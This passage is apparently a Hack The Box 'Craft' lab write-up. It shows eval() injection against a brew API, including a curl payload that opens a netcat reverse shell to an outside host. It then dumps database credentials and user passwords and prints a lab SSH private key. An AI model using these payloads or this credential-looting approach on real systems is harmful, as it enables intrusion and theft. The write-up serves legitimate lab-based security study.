&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;+ else:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;+ create_brew(request.json)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;+ return None, 201&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;This is Python script, it checks if the user provided &amp;ldquo;abv&amp;rdquo; input is higher than 1, and depending on result of this check creates given outcomes.
There are two interesting parts of the script for us. It uses &lt;code&gt;eval()&lt;/code&gt; which is a known dangerous function in a number of different programming languages.It&amp;rsquo;s dangerous because it runs string data as an executable instruction.
The second interesting part is that &lt;code&gt;request.json['abv'])&lt;/code&gt; plainly outputs unfiltered user output into the command.
Both of these weakness are bad on their own as one gives a possibility of command execution and another of command injection. Together they are a really great foothold opportunity.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;parrot@parrot (~): curl -H &amp;#39;X-Craft-API-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImV4cCI6MTU0OTM4NTI0Mn0.-wW1aJkLQDOE-GP5pQd3z_BJTe2Uo0jJ_mQ238P5Dqw&amp;#39; -H &amp;#34;Content-Type: application/json&amp;#34; -k -X POST https://api.craft.htb/api/brew/ --data &amp;#39;{&amp;#34;name&amp;#34;:&amp;#34;a&amp;#34;,&amp;#34;brewer&amp;#34;:&amp;#34;a&amp;#34;,&amp;#34;style&amp;#34;:&amp;#34;a&amp;#34;,&amp;#34;abv&amp;#34;:&amp;#34;__import__(\&amp;#34;os\&amp;#34;).system(\&amp;#34;id\&amp;#34;)&amp;#34;}&amp;#39; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&amp;#34;message&amp;#34;: &amp;#34;Invalid token or no token found.&amp;#34;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;To try and attempt to exploit this vulnerability I&amp;rsquo;d have to have a valid token, meaning I&amp;rsquo;d have to find a not expired one in the wild or generate one which requires credentials.&lt;/p&gt;
&lt;p&gt;I looked through the issues, repository and finally the commits and found some accidentally pushed credentials - dinesh:4aUh0A8PbVJxgd.&lt;/p&gt;
&lt;p&gt;I used them to create my token request at the api dashboard.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;TOKEN=$(curl -s -k -X GET &amp;#34;https://dinesh:4aUh0A8PbVJxgd@api.craft.htb/api/auth/login&amp;#34; -H &amp;#34;accept: application/json&amp;#34; | jq -r &amp;#39;.token&amp;#39;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Now when I try to exploit the vulnerable code my token goes through and I can test my injection payloads.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -H &amp;#39;X-Craft-API-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZGluZXNoIiwiZXhwIjoxNzc1MjA2MjQzfQ.1MRivtSjMK8IJKagIWHZRtp7M_632Rhp0vEk84UKYmU&amp;#39; -H &amp;#34;Content-Type: application/json&amp;#34; -k -X POST https://api.craft.htb/api/brew/ --data &amp;#39;{&amp;#34;name&amp;#34;:&amp;#34;a&amp;#34;,&amp;#34;brewer&amp;#34;:&amp;#34;a&amp;#34;,&amp;#34;style&amp;#34;:&amp;#34;a&amp;#34;,&amp;#34;abv&amp;#34;:&amp;#34;__import__(&amp;#34;os&amp;#34;).system(&amp;#34;id&amp;#34;)&amp;#34;}&amp;#39; &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;This works too:&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-JSON" data-lang="JSON"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;TOKEN=$(curl&lt;/span&gt; &lt;span class="err"&gt;-s&lt;/span&gt; &lt;span class="err"&gt;-k&lt;/span&gt; &lt;span class="err"&gt;-X&lt;/span&gt; &lt;span class="err"&gt;GET&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;https://dinesh:4aUh0A8PbVJxgd@api.craft.htb/api/auth/login&amp;#34;&lt;/span&gt; &lt;span class="err"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;accept: application/json&amp;#34;&lt;/span&gt; &lt;span class="err"&gt;|&lt;/span&gt; &lt;span class="err"&gt;jq&lt;/span&gt; &lt;span class="err"&gt;-r&lt;/span&gt; &lt;span class="err"&gt;&amp;#39;.token&amp;#39;);&lt;/span&gt; &lt;span class="err"&gt;\&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;curl&lt;/span&gt; &lt;span class="err"&gt;-X&lt;/span&gt; &lt;span class="err"&gt;POST&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;https://api.craft.htb/api/brew/&amp;#34;&lt;/span&gt; &lt;span class="err"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;accept: application/json&amp;#34;&lt;/span&gt; &lt;span class="err"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Content-Type: application/json&amp;#34;&lt;/span&gt; &lt;span class="err"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;{
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;\&amp;#34;id\&amp;#34;: 0,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;\&amp;#34;brewer\&amp;#34;: \&amp;#34;0xdf\&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;\&amp;#34;name\&amp;#34;: \&amp;#34;beer\&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;\&amp;#34;style\&amp;#34;: \&amp;#34;bad\&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;\&amp;#34;abv\&amp;#34;: \&amp;#34;__import__(&amp;#39;os&amp;#39;).system(&amp;#39;nc 10.10.15.189 1337 -e /bin/sh&amp;#39;)\&amp;#34;}&amp;#34;&lt;/span&gt; &lt;span class="err"&gt;-k&lt;/span&gt; &lt;span class="err"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;X-CRAFT-API-TOKEN: $TOKEN&amp;#34;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;And this, finally works!&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-JSON" data-lang="JSON"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;TOKEN=$(curl&lt;/span&gt; &lt;span class="err"&gt;-s&lt;/span&gt; &lt;span class="err"&gt;-k&lt;/span&gt; &lt;span class="err"&gt;-X&lt;/span&gt; &lt;span class="err"&gt;GET&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;https://dinesh:4aUh0A8PbVJxgd@api.craft.htb/api/auth/login&amp;#34;&lt;/span&gt; &lt;span class="err"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;accept: application/json&amp;#34;&lt;/span&gt; &lt;span class="err"&gt;|&lt;/span&gt; &lt;span class="err"&gt;jq&lt;/span&gt; &lt;span class="err"&gt;-r&lt;/span&gt; &lt;span class="err"&gt;&amp;#39;.token&amp;#39;);&lt;/span&gt; &lt;span class="err"&gt;\&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;curl&lt;/span&gt; &lt;span class="err"&gt;-X&lt;/span&gt; &lt;span class="err"&gt;POST&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;https://api.craft.htb/api/brew/&amp;#34;&lt;/span&gt; &lt;span class="err"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;accept: application/json&amp;#34;&lt;/span&gt; &lt;span class="err"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Content-Type: application/json&amp;#34;&lt;/span&gt; &lt;span class="err"&gt;-d&lt;/span&gt; &lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;id&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;brewer&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;0xdf&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;name&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;beer&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;style&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;bad&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;abv&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;__import__(\&amp;#34;os\&amp;#34;).system(\&amp;#34;nc 10.10.15.189 1337 -e /bin/sh\&amp;#34;)&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt; &lt;span class="err"&gt;-k&lt;/span&gt; &lt;span class="err"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;X-CRAFT-API-TOKEN: $TOKEN&amp;#34;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;I had a surprising amount of problems with quotation marks and escaping them correctly. I spent a lot of time tweaking these commands and breaking down the api logic locally.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;For practice and better understanding of working with API, HTTP requests and Python I created a working script that exploits this vulnerability.
The only requirements are to add &lt;code&gt;api.craft.htb&lt;/code&gt; into the &lt;code&gt;/etc/hosts&lt;/code&gt; and &lt;code&gt;python3&lt;/code&gt; to run it - you can view it on my &lt;a href="https://codeberg.org/EmilPawlak/Craft-HTB" target="_blank" rel="noreferrer"&gt;Codeberg&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 class="relative group"&gt;root
 &lt;div id="root" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;With this behind us we got a limited shell of the &lt;code&gt;5a3d243127f5&lt;/code&gt; host on which we are &lt;code&gt;root&lt;/code&gt;. Looking the root directory we can see the &lt;code&gt;.dockerenv&lt;/code&gt; folder hinting that we&amp;rsquo;re inside of a container. Manual enumeration doesn&amp;rsquo;t show any interesting vectors besides the webapp files. In them we find &lt;code&gt;dbtest.py&lt;/code&gt; which is a file we saw on gogs, it creates a query to a db from the POST data it gets. Database details like the credentials, destination and it&amp;rsquo;s name are said to be in some &lt;code&gt;settings&lt;/code&gt; file. Moving into &lt;code&gt;craft_api&lt;/code&gt; folder we can indeed find it. Inside, we can find the database details and a service token.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-Loot" data-lang="Loot"&gt;MYSQL_DATABASE_USER = &amp;#39;craft&amp;#39;
MYSQL_DATABASE_PASSWORD = &amp;#39;qLGockJ6G2J75O&amp;#39;
CRAFT_API_SECRET = &amp;#39;hz66OCkDtv8G6D&amp;#39;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3 class="relative group"&gt;craft
 &lt;div id="craft" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;I first tried to use mysql locally - but it isn&amp;rsquo;t installed - and call it remotely with &lt;code&gt;mysql -u craft -pqLGockJ6G2J75O -h 10.129.22.88&lt;/code&gt; - but this doesn&amp;rsquo;t work and hangs my shell. This is because the database isn&amp;rsquo;t local, it&amp;rsquo;s in fact on the &lt;code&gt;db&lt;/code&gt; host which I assume is the Docker daemon.
Due to the fact that my shell is connected to a simple web request it&amp;rsquo;s limited by the timeout time of the web server which is approximately 60 seconds. Due to that limitation, I was thinking how to best access the database. As my shell access was somewhat flimsy I didn&amp;rsquo;t want to bother setting up a chisel tunnel and work with transferring files - which also ruled out downloading &lt;code&gt;mysql&lt;/code&gt; and similar tooling.
What I stumbled upon was &lt;code&gt;pymysql&lt;/code&gt; which is a python library for working with sql. As the whole box is somehow very Python for me from start until now, I decided to try it out.&lt;/p&gt;
&lt;p&gt;With my 60 second window of opportunity I tested my commands and came up with a working one.
&lt;code&gt;python -c &amp;quot;import pymysql; c=pymysql.connect(host='db',user='craft',password='qLGockJ6G2J75O',db='craft'); cur=c.cursor(); cur.execute('SHOW TABLES'); print(cur.fetchall())&amp;quot;&lt;/code&gt;
This command imports &lt;code&gt;pymysql&lt;/code&gt;, connects to the database, creates a cursor which is a Python object that channels and sends the SQL queries to the database as well as simply show the queried data. You just need to adjust the query in the cursor and you can fetch any details from the database.
Output from the above query showed me that there are two tables &lt;code&gt;brew&lt;/code&gt; and &lt;code&gt;user&lt;/code&gt;. Of course the latter is more interesting for us, so I ran another query.
&lt;code&gt;python -c &amp;quot;import pymysql; c=pymysql.connect(host='db',user='craft',password='qLGockJ6G2J75O',db='craft'); cur=c.cursor(); cur.execute('SELECT * FROM user'); print(cur.fetchall())&amp;quot;&lt;/code&gt;
Which gave as further credentials:&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-Loot" data-lang="Loot"&gt;((1, &amp;#39;dinesh&amp;#39;, &amp;#39;4aUh0A8PbVJxgd&amp;#39;), (4, &amp;#39;ebachman&amp;#39;, &amp;#39;llJ77D8QFkLPQB&amp;#39;), (5, &amp;#39;gilfoyle&amp;#39;, &amp;#39;ZEU3N8WNM2rh4T&amp;#39;))&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Let&amp;rsquo;s try to access SSH with them.&lt;/p&gt;

&lt;h3 class="relative group"&gt;gilfoyle
 &lt;div id="gilfoyle" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;Sadly both on the normal port 22 and on the SSH via Go port 6022 I was unable to use it. There is however a login form on gogs.
I found two public keys for the users, likely for authentication to gogs, nothing special, especially without the private keys.&lt;br&gt;
dinesh: &lt;code&gt;SHA256:8Fc2kZiv0Y+kjkh8atKr6brzBiM1DoDIhG6LN1ktPfA&lt;/code&gt;&lt;br&gt;
gilfoyle: &lt;code&gt;SHA256:D28DXyVaw0/mPuLBp3mDbS8z6oCRKS1hawJ5gxecFBQ&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Digging further into gilfoyle I found that he had a private repository called &lt;code&gt;craft-infra&lt;/code&gt; on which we can find his public and private SSH keys, likely to the dc host.





&lt;div
 id="accordion-fcc4c71865ba46c9b517400df551e3de"
 class="border border-neutral-200 dark:border-neutral-700 rounded-lg overflow-hidden"
 data-accordion="collapse"
 data-accordion-separated="false"
&gt;
 


 










&lt;details
 class="group border-none"
 data-accordion-item
 
&gt;
 &lt;summary class="flex w-full cursor-pointer items-center justify-between gap-4 px-4 py-3 text-left text-lg font-semibold text-neutral-900 dark:text-neutral-100"&gt;
 &lt;span class="flex items-center gap-2"&gt;
 
 &lt;span class="relative block icon"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"&gt;
&lt;path fill="currentColor" d="M392.8 1.2c-17-4.9-34.7 5-39.6 22l-128 448c-4.9 17 5 34.7 22 39.6s34.7-5 39.6-22l128-448c4.9-17-5-34.7-22-39.6zm80.6 120.1c-12.5 12.5-12.5 32.8 0 45.3L562.7 256l-89.4 89.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l112-112c12.5-12.5 12.5-32.8 0-45.3l-112-112c-12.5-12.5-32.8-12.5-45.3 0zm-306.7 0c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3l112 112c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L77.3 256l89.4-89.4c12.5-12.5 12.5-32.8 0-45.3z"/&gt;&lt;/svg&gt;&lt;/span&gt;
 
 &lt;span&gt;SSH private key&lt;/span&gt;
 &lt;/span&gt;
 &lt;span class="accordion-chevron ms-auto flex h-5 w-5 items-center justify-center print:hidden"&gt;
 &lt;span class="relative block icon"&gt;&lt;svg
 xmlns="http://www.w3.org/2000/svg"
 viewBox="0 0 20 20"
 fill="currentColor"
 aria-hidden="true"
&gt;
 &lt;path
 fill-rule="evenodd"
 d="M5.23 7.21a.75.75 0 011.06.02L10 11.168l3.71-3.938a.75.75 0 111.08 1.04l-4.25 4.5a.75.75 0 01-1.08 0l-4.25-4.5a.75.75 0 01.02-1.06z"
 clip-rule="evenodd"
 /&gt;
&lt;/svg&gt;
&lt;/span&gt;
 &lt;/span&gt;
 &lt;/summary&gt;
&lt;div class="px-4 pb-4 text-neutral-700 dark:text-neutral-300"&gt;
 &lt;pre&gt;&lt;code&gt;parrot@parrot (~/Desktop/htb/machines/craft): cat id_rsa 
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABDD9Lalqe
qF/F3X76qfIGkIAAAAEAAAAAEAAAEXAAAAB3NzaC1yc2EAAAADAQABAAABAQDSkCF7NV2Z
F6z8bm8RaFegvW2v58stknmJK9oS54ZdUzH2jgD0bYauVqZ5DiURFxIwOcbVK+jB39uqrS
zU0aDPlyNnUuUZh1Xdd6rcTDE3VU16roO918VJCN+tIEf33pu2VtShZXDrhGxpptcH/tfS
RgV86HoLpQ0sojfGyIn+4sCg2EEXYng2JYxD+C1o4jnBbpiedGuqeDSmpunWA82vwWX4xx
lLNZ/ZNgCQTlvPMgFbxCAdCTyHzyE7KI+0Zj7qFUeRhEgUN7RMmb3JKEnaqptW4tqNYmVw
pmMxHTQYXn5RN49YJQlaFOZtkEndaSeLz2dEA96EpS5OJl0jzUThAAAD0JwMkipfNFbsLQ
B4TyyZ/M/uERDtndIOKO+nTxR1+eQkudpQ/ZVTBgDJb/z3M2uLomCEmnfylc6fGURidrZi
4u+fwUG0Sbp9CWa8fdvU1foSkwPx3oP5YzS4S+m/w8GPCfNQcyCaKMHZVfVsys9+mLJMAq
Rz5HY6owSmyB7BJrRq0h1pywue64taF/FP4sThxknJuAE+8BXDaEgjEZ+5RA5Cp4fLobyZ
3MtOdhGiPxFvnMoWwJLtqmu4hbNvnI0c4m9fcmCO8XJXFYz3o21Jt+FbNtjfnrIwlOLN6K
Uu/17IL1vTlnXpRzPHieS5eEPWFPJmGDQ7eP+gs/PiRofbPPDWhSSLt8BWQ0dzS8jKhGmV
ePeugsx/vjYPt9KVNAN0XQEA4tF8yoijS7M8HAR97UQHX/qjbna2hKiQBgfCCy5GnTSnBU
GfmVxnsgZAyPhWmJJe3pAIy+OCNwQDFo0vQ8kET1I0Q8DNyxEcwi0N2F5FAE0gmUdsO+J5
0CxC7XoOzvtIMRibis/t/jxsck4wLumYkW7Hbzt1W0VHQA2fnI6t7HGeJ2LkQUce/MiY2F
5TA8NFxd+RM2SotncL5mt2DNoB1eQYCYqb+fzD4mPPUEhsqYUzIl8r8XXdc5bpz2wtwPTE
cVARG063kQlbEPaJnUPl8UG2oX9LCLU9ZgaoHVP7k6lmvK2Y9wwRwgRrCrfLREG56OrXS5
elqzID2oz1oP1f+PJxeberaXsDGqAPYtPo4RHS0QAa7oybk6Y/ZcGih0ChrESAex7wRVnf
CuSlT+bniz2Q8YVoWkPKnRHkQmPOVNYqToxIRejM7o3/y9Av91CwLsZu2XAqElTpY4TtZa
hRDQnwuWSyl64tJTTxiycSzFdD7puSUK48FlwNOmzF/eROaSSh5oE4REnFdhZcE4TLpZTB
a7RfsBrGxpp++Gq48o6meLtKsJQQeZlkLdXwj2gOfPtqG2M4gWNzQ4u2awRP5t9AhGJbNg
MIxQ0KLO+nvwAzgxFPSFVYBGcWRR3oH6ZSf+iIzPR4lQw9OsKMLKQilpxC6nSVUPoopU0W
Uhn1zhbr+5w5eWcGXfna3QQe3zEHuF3LA5s0W+Ql3nLDpg0oNxnK7nDj2I6T7/qCzYTZnS
Z3a9/84eLlb+EeQ9tfRhMCfypM7f7fyzH7FpF2ztY+j/1mjCbrWiax1iXjCkyhJuaX5BRW
I2mtcTYb1RbYd9dDe8eE1X+C/7SLRub3qdqt1B0AgyVG/jPZYf/spUKlu91HFktKxTCmHz
6YvpJhnN2SfJC/QftzqZK2MndJrmQ=
-----END OPENSSH PRIVATE KEY-----
&lt;/code&gt;&lt;/pre&gt;

 &lt;/div&gt;
&lt;/details&gt;

&lt;/div&gt;

&lt;style&gt;
 #accordion-fcc4c71865ba46c9b517400df551e3de &gt; details + details {
 border-top: 1px solid rgb(var(--color-neutral-200));
 }
 .dark #accordion-fcc4c71865ba46c9b517400df551e3de &gt; details + details {
 border-top-color: rgb(var(--color-neutral-700));
 }
&lt;/style&gt;

&lt;style&gt;
 #accordion-fcc4c71865ba46c9b517400df551e3de details[data-accordion-item] &gt; summary .accordion-chevron {
 transform: rotate(-90deg);
 transition: transform 200ms ease-in-out;
 }
 #accordion-fcc4c71865ba46c9b517400df551e3de details[data-accordion-item][open] &gt; summary .accordion-chevron {
 transform: rotate(0deg);
 }
&lt;/style&gt;

&lt;script&gt;
 (() =&gt; {
 const root = document.getElementById("accordion-fcc4c71865ba46c9b517400df551e3de");
 if (!root) return;
 const items = root.querySelectorAll("details[data-accordion-item]");
 items.forEach((item) =&gt; {
 item.addEventListener("toggle", () =&gt; {
 if (!item.open) return;
 items.forEach((other) =&gt; {
 if (other !== item) other.removeAttribute("open");
 });
 });
 });
 })();
&lt;/script&gt;


&lt;br&gt;
When I try to authenticate with &lt;code&gt;ssh -i id_rsa gilfoyle@10.129.22.88&lt;/code&gt; i get a message &amp;ldquo;Load key &amp;ldquo;id_rsa&amp;rdquo;: error in libcrypto&amp;rdquo;. From what I&amp;rsquo;ve read this can happen when SSH expects an older private key format called PEM. You can easily know which one is which by looking at the first line:
New one: &lt;code&gt;-----BEGIN OPENSSH PRIVATE KEY-----&lt;/code&gt;
Old one: &lt;code&gt;-----BEGIN RSA PRIVATE KEY-----&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Luckily, the key can be formatted easily with &lt;code&gt;ssh-keygen&lt;/code&gt;. First let&amp;rsquo;s make a copy of the original with &lt;code&gt;cp id_rsa id_rsa-original&lt;/code&gt; and format the copy with &lt;code&gt;ssh-keygen -p -f id_rsa -m PEM&lt;/code&gt;.
When I tried to run this, I got another error stating &lt;code&gt;Failed to load key id_rsa: error in libcrypto&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;After some digging, I &lt;a href="https://maxrohde.com/2025/08/16/fix-error-in-libcrypto-error-reading-private-ssh-key/" target="_blank" rel="noreferrer"&gt;found an article&lt;/a&gt; stating that the issue was because the user didn&amp;rsquo;t include a newline after the closing line of the key. I went back and raw copied the key from the github. I had two new lines at the end, when I pasted it like so, it worked flawlessly.&lt;/p&gt;
&lt;p&gt;Enumerating the user they don&amp;rsquo;t have any low hanging permissions or rights to take advantage on. Interestingly, I&amp;rsquo;m on the &lt;code&gt;craft.htb&lt;/code&gt; host and not &lt;code&gt;db&lt;/code&gt; which I suspected was the hostname of the Docker host.&lt;/p&gt;

&lt;h2 class="relative group"&gt;Privilege Escalation
 &lt;div id="privilege-escalation" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;

&lt;h3 class="relative group"&gt;Vault
 &lt;div id="vault" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;I looked a bit further and found &lt;code&gt;.vault-token&lt;/code&gt; file which contains this token &lt;code&gt;f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9gilfoyle&lt;/code&gt;. I looked through the filesystem with &lt;code&gt;find / -iname &amp;quot;*vault*&amp;quot; 2&amp;gt;/dev/null&lt;/code&gt; and found these files.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/home/gilfoyle/.vault-token
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/var/log/vaultssh.log
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/local/bin/vault
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/local/bin/vault-ssh-helper
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/local/etc/vault-ssh-helper.hcl&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;I then ran looked through them manually and greped for key words in them but didn&amp;rsquo;t find anything interesting. I tried to ssh into the port 6022 as maybe that is the vault that is mentioned. The amount of SSH files suggested that but I still can&amp;rsquo;t authenticate there.
There are ssh related files and that the whole box is about web requests I decided to run my directory and subdomain enumerations as I canceled them prematurely at the start of the box. I scanned for some time but nothing new came up.&lt;/p&gt;
&lt;p&gt;I looked again through the &lt;code&gt;infra.craft&lt;/code&gt; repo and found a folder named &lt;code&gt;vault&lt;/code&gt;.
as both &lt;code&gt;vault&lt;/code&gt; and &lt;code&gt;vault-ssh-helper&lt;/code&gt; are in the &lt;code&gt;bin&lt;/code&gt; folder I should be able to execute them and see how they work.
I can read and list secrets from a vault, the issue is that I don&amp;rsquo;t know the path to it. I tried to do &lt;code&gt;vault list /ssh/roles/root_otp&lt;/code&gt; as I saw this path in &lt;code&gt;secrets.sh&lt;/code&gt; - didn&amp;rsquo;t work and seemed far fetched.
There is a way to use ssh to authenticate into a vault, maybe i can use that token I found before in it.
This is the info from the &lt;code&gt;help&lt;/code&gt; option:&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Info from the `help` option
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SSH using the OTP mode (requires sshpass for full automation):
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	$ vault ssh -mode=otp -role=my-role user@1.2.3.4
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SSH using the CA mode:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	$ vault ssh -mode=ca -role=my-role user@1.2.3.4
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SSH using CA mode with host key verification:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	$ vault ssh \
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		-mode=ca \
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		-role=my-role \
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		-host-key-mount-point=host-signer \
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		-host-key-hostnames=example.com \
